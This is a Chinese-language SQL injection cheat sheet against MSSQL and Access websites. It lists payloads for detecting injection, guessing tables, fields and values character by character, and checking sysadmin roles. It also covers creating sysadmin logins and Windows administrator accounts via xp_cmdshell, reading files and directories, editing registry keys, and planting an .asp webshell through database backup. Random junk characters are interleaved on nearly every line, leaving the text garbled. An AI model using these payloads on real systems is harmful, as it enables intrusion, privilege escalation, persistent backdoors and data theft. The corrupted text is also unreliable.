1.判断是否有注入;and 1=1 ;and 1=2 ;<[X\;|'
2.初步判断是否是mssql ;and user>0 '![oLy
w;z7vN~/O
3.注入参数是字符'and [查询条件] and ''=' |#oS7oV(
a`xq
h2P
4.搜索时没过滤参数的'and [查询条件] and '%25'=' !+l'<*8V
=Zd(<&B K
5.判断数据库系统
is'V%q
qt/K$'
;and (select count(*) from sysobjects)>0 mssql al2t\Iq90
MdHm%Vx
;and (select count(*) from msysobjects)>0 access E+f)Zg
:
]Bhy=1
}E'0vf/
t]/eCsR
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Nk|cU;?+
j(;^XO Y#
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 O$Rz/&
d9N[f>
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ,eXtY}E
h>N}M}8
9.(1)猜字段的ascii值(access) 7=!9kk 0
wPA^nZ^}9c
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 __=H"UhWv
64s;EC
(2)猜字段的ascii值(mssql) AK:cDKBO
o[|[xuTm
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Y'v[2s
]lB zp D
10.测试权限结构(mssql) 5xQ-f
Cf{F"o
$ghZ<Y2}9
}3pM,.
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- dmFn0J-\
NYm"I`5w
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- !`DRJ)h
T]#V
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- :^;c(>u{
R.~[$G!
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- odRiCiMH
6Rc=!_v^
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- !jCgTo
y
i?00!t
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- / f%mYL
d2k-MZuT6
;and 1=(select IS_MEMBER('db_owner'));-- K/Q"Z*
gP^2GnjHL8
Dg&84,bv^
jLVJ+mu
11.添加mssql和系统的帐户 P3M$&::D-
6{Wo5O{!\
;exec master.dbo.sp_addlogin username;-- 04a
^jjc
;exec master.dbo.sp_password null,username,password;-- aSL`yuXu
1+l 8%G=hB
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- u-_r2U
Hbm 4oYN
;exec master.dbo.xp_cmdshell 'net user username password _;lw,;ftA
$( hT{C,K
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $] 6u#5
@MW@mP)#
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Zt=|q$"
Q&9yrx.
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- )uPJ?
2S9
S-Uod y
@"@a70WHk
.~z'm$s1o
12.(1)遍历目录 9shfy4?k
gI+8J.AG=
;create table dirs(paths varchar(100), id int) FG? Mc'r&
la!]Y-s)'4
;insert dirs exec master.dbo.xp_dirtree 'c:\' . [|UNg
SZyk G[
;and (select top 1 paths from dirs)>0 iD^,O)b
Jt~Ivn,
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) rK3kg2H
3jmo[<p*x
.@1+}0
q=1 NRG
(2)遍历目录 uuzV,q
.*O*@)}Ud
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Z6!Up1
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 B#sCB&(
f?3-C8hU
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 N Ob`)qb
"oP^2|${
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 T j$'B[cv
!avol/*
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ]#!uke Q
g \mE
kA:Y^2X'
!_W:%t)g
13.mssql中的存储过程 blO4)7m
4kOO3[r
xp_regenumvalues 注册表根键, 子键 #-{<d%qk
U,P_bz*)
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 1S{Biqi+
ofvR0yV
xp_regread 根键,子键,键值名 UwN Vvo
BN/4O?jD9
;exec xp_regread C]^Ep
w)btv{*
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 k"wQ9=HP7
:]3X Ez
xp_regwrite 根键,子键, 值名, 值类型, 值 7qKz_O
!_I1=yi
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 sp K8^sh
I-#H+\S
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 F(")ga$r
&@=Jm
/5
xp_regdeletevalue 根键,子键,值名 }=R]<`Sj.j
\#sD`O
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ZOK!SBn^?
F^!D[:;jK
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3m1g"
JWVV?~1
-D^I;[j_
hfB$4s9
14.mssql的backup创建webshell wj[yo
S
_]:b@gXUw
use model *k?:k78L
E)b$;'
create table cmd(str image); rPxRGoR
_&KqmQ8$7
insert into cmd(str) values (''); Im]@#X
=H95?\}T[
backup database model to disk='c:\l.asp'; WtSs:D
z]7 WC
r>mBe;[TX
b?wrOS
15.mssql内置函数
Dy08.Sss
ULx:2jz
;and (select @@version)>0 获得Windows的版本号 1{uxpYAP=
kG^76dAQL
;and user_name()='dbo' 判断当前系统的连接用户是不是sa n ]%2Kx
B|`?hw@g+
;and (select user_name())>0 爆当前系统的连接用户 |x[I!I7.F
a@}.96lStD
;and (select db_name())>0 得到当前连接的数据库 iTxWXij
(leX` SN0u
@N'n>8Wn
[9E~=A#
16.简洁的webshell ,BdObx
jkeerU6
use model X$};K\I
W'G|sk
create table cmd(str image); d_[H|H9i6
1(' wg!
insert into cmd(str) values (''); `Fqth^RK?p
G':3U
backup database model to disk='g:\wwwtest\l.asp';